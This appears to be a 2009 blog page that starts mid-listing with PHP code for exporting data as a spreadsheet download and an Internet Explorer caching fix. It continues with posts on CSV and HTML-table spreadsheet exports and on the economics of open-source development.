6 header(‘Content-disposition: attachment; filename=file.sxc’);
7
8 $count = 1;
9 $row_count = count($data);
10 echo “<table>\n”;
11 foreach($data as $row) {
12 echo “<tr>\n”;
13 echo ‘<td>’.implode(“</td>\n<td>”,$row) . “</td>\n”;
14 echo “</tr>\n”;
15 }
16 echo ‘</table>’;
17 ?>
Explorer downloading file in specific instances. If you are using SSL and sessions, Internet Explorer will report that it can’t find the file to download when you use any of the
above methods. The problem is because the default session handler sends a Cache-limiter header of nocache, which causes Internet Explorer to not download the file.
The fix to this is to either modify the session.cache-limiter setting in php.ini to public or place
session_cache_limiter(‘public’); in your code before you call
session_start().
-
PHP and Spreadsheets Part 1
Posted on March 28th, 2009 No commentsHTML gives us a limited ability to present data to our users. Tables are useful, but if you want to give users the ability to delete rows, order columns or adjust the formatting at all, you need to program the PHP/CSS code behind it to do all of this. A simple solution to this is to have PHP present the data to the users in a format their spreadsheet program can understand. Now the users,assuming they’re at least slightly proficient with spreadsheets, can order and reformat the data as they see fit, save a copy and/or email it off to whomever. There are different ways you can accomplish this with PHP, depending, at least in part, on how fancy you want your spreadsheets to be before the users get them. One of the easiest methods, but with the least amount of control over formatting, is to send the users a CSV, or “comma-separated value,” file. A CSV file is just a plaintext file in which data is separated by commas and rows are separated by newline characters. Listing 1 shows a very simple technique you could use to implement CSV files.
The code starts off by sending a couple headers that tell the user’s browser that a plain-text CSV file is being sent to it and then outputs the data. The user’s browser will prompt the user to save or open the file. If *.csv files are associated with a spreadsheet program on the user’s computer, then the file will open in that program, otherwise the user may have to select an application for the purpose. The good thing about this method is that it’s simple to implement, but you have no control over the format of the data within the spreadsheet program. If you want any colours, rows or columns joined, you’re out of luck. A second method, which is often a more attractive to most developers, consists of using HTML tables to give you more control over the format of the data within the spreadsheet program. The HTML table method is similar to the CSV method in that you send some headers designating what type of file is being sent and then display your data in a table. Since you’re using HTML, you can join cells together (using the rowspan and colspan attributes), change font colours, alignment and decoration (bold, italic), colour the table cells, and so on. Any kind of decoration you can do with HTML will be recognized by the spreadsheet program. It should be noted that most spreadsheet programs will not recognize decorations created using CSS (cascading style sheets), though. Thus, if you want coloured or bold text, ou’re stuck using the old <font> and <b> tags instead of the CSS methods. Listing 2 shows a simple method of how a PHP script can send an HTML table to the user’s spreadsheet
program.
-
Open != $Free Part 1
Posted on March 28th, 2009 No commentsAs an open-source developer, I often see requests from users for fixes to bugs or for new features to be added to any given project. These requests can go unanswered for a few days—and sometimes even a few weeks or months. This leaves some users frustrated and angry. Often, the user is contacted by a developer not connected to the project who offers to help fix the bug or add the feature that they require— but that comes with a price tag. This immediately brings the follow up questions of… “Hang on… The software is free right? So why do we have to pay for something which everyone else will be able to get for free?” Or “if we pay for a new feature to be added can we keep that feature to ourselves since we paid for it to be implemented?”
For the users to understand these issues, they need to understand what the term “free software” means, the motivation of the open-source developer and the spirit that powers the open-source community. The best analogy of what the term “Free Software” means comes from the Free Software Foundation’s founder Richard Stallman, who describes it as a matter of liberty,
not price. To understand the concept, you should think of “free” as in “free speech,” not as in “free beer.” The essence of open-source development is not about what the developers and users can do for themselves, but what they can do to benefit the community as a whole. If all users that have paid for a new feature or a bug fix to be completed had then kept these to themselves, the project would not have evolved into what it is today—in fact, it might even cease being actively developed due to lack of support for (and from) the community. The evolutionary process of an
open-source project is only guaranteed as long as someone adds new features to it (and corrects existing deficiencies), whether someone is paying for the work or not and, therefore, it is in everyone’s interest that all changes be made available to the community as awhole.
Commercialism & Open-source
There is a popular misconception that open-source is the antithesis of commercialism and that companies are not allowed to make money from an open-source project. If this were true, Red Hat Corporation or SuSE would not be in existence today. For companies that wish to sell or use open-source software to help promote their business, it is essential to provide active and
public support for the developers and the community. Companies that don’t do this can be categorized as freeloaders—and will often find that their competitor’s products are recommended over their own when discussed in open-source arenas. There are a number of ways through which companies can support open-source projects; some of these include financial donations, donation of merchandise, promotion of the project in trade publications or at trade shows and the sponsorship of full time developers or the provision of equipment or software to help
the project be as efficient as possible.
The User’s Needs
Users need software that is easy to install, easy to use, bug free and secure and has all of the features that “they” want. In reality, this is not possible, whether the software is open or closed source, since the needs of each user are likely to be quite different from the other. Thus, a happy middle ground has to be found between the needs of the user base and the aims of the project.
Most open-source projects plan for a lean code base that satisfies the needs of as many users as possible; they then try and make it easy for the users themselves to extend the features of the software with a minimum of programming effort using either a plug-in module architecture or a programming interface that is easy to understand and build upon. Users also crave constant updates with new features and firm deadlines as to when these updates will be released. Many times, I have seen comments on mailing lists or in support forums saying something to the
effect of “Thanks for version x… now when is version x.1 due to be released?” With development driven by the motivation of the developers and the support of a community of users that is constantly evolving, it is impossible for a project to predict release dates with
any accuracy. This generally isn’t a problem when a project first starts out, as the software is simple and the user base is small. As the software becomes more successful and the user base and number of features increase, the time needed for development increasing accordingly. This causes a conflict between users, who want the new release “yesterday,” and the project managers,
who want the release to be as stable and secure as possible. It is not unusual for projects to have a oneor two-year development cycle between stable releases; this is a constant source of frustration for users as many don’t realize the effort needed to keep a project active in terms of both development and management.
When a user finds a feature that they need is missing, the first place they normally turn to is the projects mailing list or support forums, where they ask why the feature isn’t available. A common response from other users is that everyone has access to the source code can write whatever additional functionality is required himself, and then contribute it back to the community. In reality, most users don’t have the time or the ability to write code and their reply often boils down to “If I were a programmer I would, but I am not.” This causes the
user to be reliant on the core developers taking the time to add the new functionality or on external developers. If the core developers are unable to help the user with the missing feature due to lack of time, or if they feel that the feature does not fit into the aims of the project, then the users have no choice by to rely on using an external developer to create the code that they need.
This has a number of issues, the first being that the new feature is unlikely to make it into the core application in the same timeframe as if it were developed by a core developer—if it makes it at all. The user would also have to rely on the coding ability of the external developer and trust them to follow the programming standards set out by the project leaders, as they are unlikely to integrate a feature that would require hours of programming effort just to bring it up to their coding conventions. If the feature isn’t integrated into the core code base, the user then needs to think about how it will be maintained. It is likely that, as the project develops, changes will be needed to external contributions to ensure compatibility with future releases. Whatever the path they choose to develop it, it is important that the users contribute the new feature back to the community; this will benefit the users themselves, as it will allow other developers to help
maintain the contribution when changes to the core application occur. It also encourages new users to contribute features back to the community—and this can
help build a great community spirit.



Recent Comments